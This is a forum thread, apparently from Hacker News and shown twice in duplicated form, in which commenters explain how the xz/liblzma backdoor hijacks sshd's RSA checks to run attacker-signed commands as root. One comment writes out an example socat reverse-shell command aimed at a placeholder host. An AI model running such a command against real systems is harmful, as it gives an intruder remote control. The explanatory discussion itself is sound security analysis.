8 ms·

Can someone explain succinctly what the backdoor does? Do we even know yet? The backdoor itself is not a payload, right? Does it need a malicious archive to exp

Can someone explain succinctly what the backdoor does? Do we even know yet? The backdoor itself is not a payload, right? Does it need a malicious archive to exploit it? Or does it hook into the sshd process to listen for malicious packets from a remote attacker? The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC? Basically, how does an attacker control a machine with this backdoor on it?

snnn 3y ago
That's the most interesting part. No, we don't know it yet. The backdoor is so sophisticated that none of us can fully understand it. It is not a “usual” security bug.
- heresWaldo 3y ago
  Yeah these types of security issues will be used by politicians to force hardware makers to lockdown hardware, embed software in chips. The go fast startups habit of “import the world to make my company products” is a huge security issue IT workers ignore. The only solution politics and big tech will chase is obsolete said job market by pulling more of the stack into locked down hardware, with updates only allowed to come from the gadget vendor.
  - WesolyKubeczek 3y ago
    Which will make updates either expensive or impossible. You will be able to write books about exploitable bugs in the hardware, and those books will easily survive several editions.
  - avidiax 3y ago
    The NSA demands that Intel and AMD provide backdoor ways to turn off the IME/PSP, which are basically a small OS running in a small processor inside your processor. So the precedent is that the government wants less embedded software in their hardware, at least for themselves. If we relied on gadget vendors to maintain such software, I think we can just look at any IoT or router manufacturer to get an idea of just how often and for how long they will update the software. So that idea will probably backfire spectacularly if implemented.
    - BlueFalconHD 3y ago
      What does the IME or PSP do?
      - timschmidt 3y ago
        Short answer: anything it wants. IME has privileged access to the MMU(s), all system memory, and even out-of-band access to the network adapter such the the OS cannot inspect network traffic originating with or destined for the IME.
      - CobrastanJorji 3y ago
        Lots. It's basically an extra processor that runs at all times, even when your computer is supposedly "off." Its firmware is bigger than you'd think, like a complete Unix system big. It's frankly terrifying how powerful and opaque it is. It provides a lot around remote management for corporations, lots of "update the BIOS remotely" sort of features, and also a bunch of those stupid copy protection enforcement things. Plus some startup/shutdown stuff like Secure Boot.
  - georgyo 3y ago
    I'm not saying political forces won't try legislating the problem away, but that won't even help here. A supply chain attack can happen in hardware or software. Hardware has firmware, which is software. What makes this XZ attack so scary is that it was directly from a "trusted" source. A similar attack could come from any trusted source. At least with software it is much easier to patch.
    - heresWaldo 3y ago
      Like you said it has firmware which is flashable. Secure enclaves are never 100% secure but if only, for example, Apple can upload to them, it dramatically reduces some random open source project being git pulled. Apple may still pull open source but they would be on the hook to avoid this. Open sources days of declaring “use at your risk” have become a liability in this hyper networked society. It’s now becoming part of the problem it was imagined up to solve.
  - berkes 3y ago
    Why would "embed software in chips" be a solution? If anything, I'd expect it to be an even bigger risk, because when (not if) a security issue is found in the hardware, you now have no way to fix it, other than throwing out this server/fridge/toothbrush or whatever is running it.
    - heresWaldo 3y ago
      A flashable secure enclave segment in the hardware stack is an option to patch around embedded bugs. I haven’t worked in hardware design since the era of Nortel, and it was way different back then but the general physics are the same; if, else, while, and math operations in the hardware are not hard. In fact your hardware is a general while loop; while has power, iterate around refreshing these memory states with these computed values, even in the absence of user input (which at the root is turning it on). Programmers have grown accustomed to being necessary to running ignorant business machines but that’s never been a real requirement. Just a socialized one. And such memes are dying off.
- saagarjha 3y ago
  It’s not that we can’t understand it, it’s just that work to understand it is ongoing.
- mrln 3y ago
  What makes you say that? I haven't started reverse engineerinng it myself, but from all I have read, people who did have a very good understanding of what it does. They just can't use it themselves, because they would need to have the attacker's private key.
skywhopper 3y ago
From what I’ve read I think the attack vector is: 1. sshd starts and loads the libsystemd library which loads the XZ library which contains the hack 2. The XZ library injects its own versions of functions in openssl that verify RSA signatures 3. When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called 4. The certificate, in turn, can contain arbitrary data that in a normal login process would include assertions about username or role that would be used to determine if the certificate is valid for use logging in as the particular user. But if the hacked functions detect that the certificate was signed by a specific attacker key, they take some subfield of the certificate and execute it as a command on the system in the sshd context (ie, as the root user). Unfortunately, we don’t know the attacker’s signing key, just the public key the hacked code uses to validate it. But basically this would give the attacker a way to run any command as root on any compromised system without leaving much of a trace, beyond the (presumably failed) login attempt, which any system on the internet will be getting a lot of anyway.
- ghostpepper 3y ago
  > beyond the (presumably failed) login attempt There is some evidence it's scrubbing logs so we might not even have that.
  - Deathcrow 3y ago
    Is there really a failed login attempts? If it never calls the real functions of ssh in case of their own cert+payload why would sshd log anything or even register a login attempt? Or does the backdoor function hook in after sshd already logged stuff?
    - numpad0 3y ago
      Depending on log level, isn't there going to be lines up to receiving the payload?
    - skywhopper 3y ago
      I think it would depend on logging level, yeah. I’ve not seen one way or another whether it aborts the login process or prevents logging, but that’s possible, and would obviously be a good idea. Then the question would be if you could detect the difference between a vulnerability-aborted login attempt and just a malformed/interrupted login attempt. But in the case of this specific attack, probably the safest approach would be to watch and track what processes are being spawned by sshd. Which in retrospect is probably advisable for any network daemon. (Of course, lots of them will be sloppy and messy with how they interact with the system and it might be next to impossible to tell attacks from “legit” behavior. But sshd is probably easier to pin down to what’s “safe” or not.
plg94 3y ago
I don't think we know what exactly this does, yet. I can only answer one of those questions, as far as I understand the "unreplayable" part is refering to this: > Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*. emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the RSA algorithm (in which case we have far bigger problems), it's impossible for someone else (researcher or third-party) to exploit this backdoor.
- BlueFalconHD 3y ago
  It would be really cool if in 20 years when we have quantum computers powerful enough we could see what this exploit does.
  - denysvitali 3y ago
    My understanding is that we know somehow already what the exploit allows the attacker to do - we just can't reproduce it because we don't have their private key. Technically, we can modify the backdoor and embed our own public key - but there is no way to probe a random server on the internet and check if it's vulnerable (from a scanner perspective). In a certain way it's a good thing - only the creator of the backdoor can access your vulnerable system...
    - tialaramex 3y ago
      It's a NOBUS (Nobody But Us can use it) attack. The choice to use a private key means it's possible that even the person who submitted the tampered code doesn't have the private key, only some other entity controlling them does.
      - _kbh_ 3y ago
        [dead]
  - kortilla 3y ago
swid 3y ago
You can imagine a door that opens if you knock on it just right. For anyone without the secret knock, it appears and functions as a wall. Without the secret knock, there might not even be a way to prove it opens at all. This is sort of the situation here. xz tries to decode some data before it does anything shady; since it is asymmetric; it can do the decryption without providing the secret encryption key (it has the public counterpart). The exploit code may never be available, because it is not practical to find the secret key, and it doesn't do anything obviously different if the payload doesn't decrypt successfully. The only way to produce the exploit code would be if the secret key is found somehow; and the only real way for that to happen would be for the people who developed the backdoor to leak it.
- tialaramex 3y ago
  Private key. In cryptography we distinguish keys which are symmetric (needed by both parties and unavailable to everyone else) as "Secret" keys, with the pair of keys used in public key cryptography identified as the Private key (typically known only to one person/ system/ whatever) and Public key (known to anybody who cares) Thus, in most of today's systems today your password is a secret. You know your password and so does the system authenticating you. In contrast the crucial key for a web site's HTTPS is private. Visitors don't know this key, the people issuing the certificate don't know it, only the site itself has the key. I remember this by the lyrics to "The Fly" by the band U2, "They say a secret is something you tell one other person. So I'm telling you, child".
  - SV_BubbleTime 3y ago
    > You know your password and so does the system authenticating you. Nitpick, but no it shouldn’t. The HASH of your password is recorded. You never submit your password, you submit that hash and they compare it. The difference is that there is no two passwords that collide; but there are hashes that may. And that two equal passwords from two equal users are not necessarily accessible to someone with the hash list because they are modified at rest with salts.
    - 3y ago
q3k 3y ago
> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC? Not if public-key cryptography was used correctly, and if there are no exploitable bugs.
- jnwatson 3y ago
  We understand it completely. However, since determining the private key that corresponds to the public key embedded in the backdoor is practically infeasible, we can't actually exercise it. Someone could modify the code with a known ed448 private key and exercise it, but the point of having the PoC is to scan the internet and find vulnerable servers.
ajross 3y ago
> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? The exploit as shipped is a binary (cleverly hidden in the test data), not source. And it validates the payload vs. a private key that isn't known to the public. Only the attacker can exercise the exploit currently, making it impossible to scan for (well, absent second order effects like performance, which is how it was discovered).
junon 3y ago
Siblings saying "we don't know" haven't really groked the post I don't think. If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding. `system()` is a standard C function that takes a string as input and runs it through `sh`, like so: sh -c "whatever input" It's used as a super rudimentary way to run arbitrary shell commands from a C program, using the `execl()` call under the hood, just like you'd run them on a bash/sh/fish/zsh/whatever command line. system("echo '!dlroW ,olleH' | rev"); Those commands run mostly in the same privilege context as the process that invoked `system()`. If the call to `system()` came from a program running as root, the executed command is also run as root. The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now. Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it. It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located. The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function. It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication. The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted. Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally. However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root. Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself. This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root. From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example: socat TCP:example.com:1234 SYSTEM:"bash -l" The possibilities are really endless. They'd effectively have a skeleton key that only they could use (or sell) that, with enough time for people to upgrade their version of `sshd`, would allow them access to just about any SSH server they could connect to, oftentimes with root permissions. Hope that explains it a bit.
matheusmoreira 3y ago
Attacker wants to be able to send an especially crafted public key to their target's server's sshd. That crafted key is totally bogus input, a normal sshd would just probably reject it as invalid. The bits embedded into the key are actually malicious code, encrypted/signed with the attacker's secret key. In order to achieve their objective, they engineered a backdoor into sshd that hooks into the authentication functions which handle those keys. Whenever someone sends a key, it tries to decrypt it with the attacker's keys. If it fails, proceed as usual, it's not a payload. If it successfully decrypts, it's time for the sleeper agent to wake up and pipe that payload into a brand new process running as root.

snnn 3y ago

That's the most interesting part. No, we don't know it yet. The backdoor is so sophisticated that none of us can fully understand it. It is not a “usual” security bug.

heresWaldo 3y ago
Yeah these types of security issues will be used by politicians to force hardware makers to lockdown hardware, embed software in chips. The go fast startups habit of “import the world to make my company products” is a huge security issue IT workers ignore. The only solution politics and big tech will chase is obsolete said job market by pulling more of the stack into locked down hardware, with updates only allowed to come from the gadget vendor.
- WesolyKubeczek 3y ago
  Which will make updates either expensive or impossible. You will be able to write books about exploitable bugs in the hardware, and those books will easily survive several editions.
- avidiax 3y ago
  The NSA demands that Intel and AMD provide backdoor ways to turn off the IME/PSP, which are basically a small OS running in a small processor inside your processor. So the precedent is that the government wants less embedded software in their hardware, at least for themselves. If we relied on gadget vendors to maintain such software, I think we can just look at any IoT or router manufacturer to get an idea of just how often and for how long they will update the software. So that idea will probably backfire spectacularly if implemented.
  - BlueFalconHD 3y ago
    What does the IME or PSP do?
    - timschmidt 3y ago
      Short answer: anything it wants. IME has privileged access to the MMU(s), all system memory, and even out-of-band access to the network adapter such the the OS cannot inspect network traffic originating with or destined for the IME.
    - CobrastanJorji 3y ago
      Lots. It's basically an extra processor that runs at all times, even when your computer is supposedly "off." Its firmware is bigger than you'd think, like a complete Unix system big. It's frankly terrifying how powerful and opaque it is. It provides a lot around remote management for corporations, lots of "update the BIOS remotely" sort of features, and also a bunch of those stupid copy protection enforcement things. Plus some startup/shutdown stuff like Secure Boot.
- georgyo 3y ago
  I'm not saying political forces won't try legislating the problem away, but that won't even help here. A supply chain attack can happen in hardware or software. Hardware has firmware, which is software. What makes this XZ attack so scary is that it was directly from a "trusted" source. A similar attack could come from any trusted source. At least with software it is much easier to patch.
  - heresWaldo 3y ago
    Like you said it has firmware which is flashable. Secure enclaves are never 100% secure but if only, for example, Apple can upload to them, it dramatically reduces some random open source project being git pulled. Apple may still pull open source but they would be on the hook to avoid this. Open sources days of declaring “use at your risk” have become a liability in this hyper networked society. It’s now becoming part of the problem it was imagined up to solve.
- berkes 3y ago
  Why would "embed software in chips" be a solution? If anything, I'd expect it to be an even bigger risk, because when (not if) a security issue is found in the hardware, you now have no way to fix it, other than throwing out this server/fridge/toothbrush or whatever is running it.
  - heresWaldo 3y ago
    A flashable secure enclave segment in the hardware stack is an option to patch around embedded bugs. I haven’t worked in hardware design since the era of Nortel, and it was way different back then but the general physics are the same; if, else, while, and math operations in the hardware are not hard. In fact your hardware is a general while loop; while has power, iterate around refreshing these memory states with these computed values, even in the absence of user input (which at the root is turning it on). Programmers have grown accustomed to being necessary to running ignorant business machines but that’s never been a real requirement. Just a socialized one. And such memes are dying off.
saagarjha 3y ago
It’s not that we can’t understand it, it’s just that work to understand it is ongoing.
mrln 3y ago
What makes you say that? I haven't started reverse engineerinng it myself, but from all I have read, people who did have a very good understanding of what it does. They just can't use it themselves, because they would need to have the attacker's private key.

skywhopper 3y ago

From what I’ve read I think the attack vector is: 1. sshd starts and loads the libsystemd library which loads the XZ library which contains the hack 2. The XZ library injects its own versions of functions in openssl that verify RSA signatures 3. When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called 4. The certificate, in turn, can contain arbitrary data that in a normal login process would include assertions about username or role that would be used to determine if the certificate is valid for use logging in as the particular user. But if the hacked functions detect that the certificate was signed by a specific attacker key, they take some subfield of the certificate and execute it as a command on the system in the sshd context (ie, as the root user). Unfortunately, we don’t know the attacker’s signing key, just the public key the hacked code uses to validate it. But basically this would give the attacker a way to run any command as root on any compromised system without leaving much of a trace, beyond the (presumably failed) login attempt, which any system on the internet will be getting a lot of anyway.

ghostpepper 3y ago
> beyond the (presumably failed) login attempt There is some evidence it's scrubbing logs so we might not even have that.
- Deathcrow 3y ago
  Is there really a failed login attempts? If it never calls the real functions of ssh in case of their own cert+payload why would sshd log anything or even register a login attempt? Or does the backdoor function hook in after sshd already logged stuff?
  - numpad0 3y ago
    Depending on log level, isn't there going to be lines up to receiving the payload?
  - skywhopper 3y ago
    I think it would depend on logging level, yeah. I’ve not seen one way or another whether it aborts the login process or prevents logging, but that’s possible, and would obviously be a good idea. Then the question would be if you could detect the difference between a vulnerability-aborted login attempt and just a malformed/interrupted login attempt. But in the case of this specific attack, probably the safest approach would be to watch and track what processes are being spawned by sshd. Which in retrospect is probably advisable for any network daemon. (Of course, lots of them will be sloppy and messy with how they interact with the system and it might be next to impossible to tell attacks from “legit” behavior. But sshd is probably easier to pin down to what’s “safe” or not.

plg94 3y ago

I don't think we know what exactly this does, yet. I can only answer one of those questions, as far as I understand the "unreplayable" part is refering to this: > Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*. emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the RSA algorithm (in which case we have far bigger problems), it's impossible for someone else (researcher or third-party) to exploit this backdoor.

BlueFalconHD 3y ago
It would be really cool if in 20 years when we have quantum computers powerful enough we could see what this exploit does.
- denysvitali 3y ago
  My understanding is that we know somehow already what the exploit allows the attacker to do - we just can't reproduce it because we don't have their private key. Technically, we can modify the backdoor and embed our own public key - but there is no way to probe a random server on the internet and check if it's vulnerable (from a scanner perspective). In a certain way it's a good thing - only the creator of the backdoor can access your vulnerable system...
  - tialaramex 3y ago
    It's a NOBUS (Nobody But Us can use it) attack. The choice to use a private key means it's possible that even the person who submitted the tampered code doesn't have the private key, only some other entity controlling them does.
    - _kbh_ 3y ago
      [dead]
- kortilla 3y ago

swid 3y ago

You can imagine a door that opens if you knock on it just right. For anyone without the secret knock, it appears and functions as a wall. Without the secret knock, there might not even be a way to prove it opens at all. This is sort of the situation here. xz tries to decode some data before it does anything shady; since it is asymmetric; it can do the decryption without providing the secret encryption key (it has the public counterpart). The exploit code may never be available, because it is not practical to find the secret key, and it doesn't do anything obviously different if the payload doesn't decrypt successfully. The only way to produce the exploit code would be if the secret key is found somehow; and the only real way for that to happen would be for the people who developed the backdoor to leak it.

tialaramex 3y ago
Private key. In cryptography we distinguish keys which are symmetric (needed by both parties and unavailable to everyone else) as "Secret" keys, with the pair of keys used in public key cryptography identified as the Private key (typically known only to one person/ system/ whatever) and Public key (known to anybody who cares) Thus, in most of today's systems today your password is a secret. You know your password and so does the system authenticating you. In contrast the crucial key for a web site's HTTPS is private. Visitors don't know this key, the people issuing the certificate don't know it, only the site itself has the key. I remember this by the lyrics to "The Fly" by the band U2, "They say a secret is something you tell one other person. So I'm telling you, child".
- SV_BubbleTime 3y ago
  > You know your password and so does the system authenticating you. Nitpick, but no it shouldn’t. The HASH of your password is recorded. You never submit your password, you submit that hash and they compare it. The difference is that there is no two passwords that collide; but there are hashes that may. And that two equal passwords from two equal users are not necessarily accessible to someone with the hash list because they are modified at rest with salts.
  - 3y ago

q3k 3y ago

> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC? Not if public-key cryptography was used correctly, and if there are no exploitable bugs.

jnwatson 3y ago
We understand it completely. However, since determining the private key that corresponds to the public key embedded in the backdoor is practically infeasible, we can't actually exercise it. Someone could modify the code with a known ed448 private key and exercise it, but the point of having the PoC is to scan the internet and find vulnerable servers.

ajross 3y ago

> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? The exploit as shipped is a binary (cleverly hidden in the test data), not source. And it validates the payload vs. a private key that isn't known to the public. Only the attacker can exercise the exploit currently, making it impossible to scan for (well, absent second order effects like performance, which is how it was discovered).

junon 3y ago

Siblings saying "we don't know" haven't really groked the post I don't think. If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding. `system()` is a standard C function that takes a string as input and runs it through `sh`, like so: sh -c "whatever input" It's used as a super rudimentary way to run arbitrary shell commands from a C program, using the `execl()` call under the hood, just like you'd run them on a bash/sh/fish/zsh/whatever command line. system("echo '!dlroW ,olleH' | rev"); Those commands run mostly in the same privilege context as the process that invoked `system()`. If the call to `system()` came from a program running as root, the executed command is also run as root. The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now. Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it. It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located. The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function. It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication. The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted. Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally. However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root. Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself. This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root. From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example: socat TCP:example.com:1234 SYSTEM:"bash -l" The possibilities are really endless. They'd effectively have a skeleton key that only they could use (or sell) that, with enough time for people to upgrade their version of `sshd`, would allow them access to just about any SSH server they could connect to, oftentimes with root permissions. Hope that explains it a bit.

matheusmoreira 3y ago

Attacker wants to be able to send an especially crafted public key to their target's server's sshd. That crafted key is totally bogus input, a normal sshd would just probably reject it as invalid. The bits embedded into the key are actually malicious code, encrypted/signed with the attacker's secret key. In order to achieve their objective, they engineered a backdoor into sshd that hooks into the authentication functions which handle those keys. Whenever someone sends a key, it tries to decrypt it with the attacker's keys. If it fails, proceed as usual, it's not a payload. If it successfully decrypts, it's time for the sleeper agent to wake up and pipe that payload into a brand new process running as root.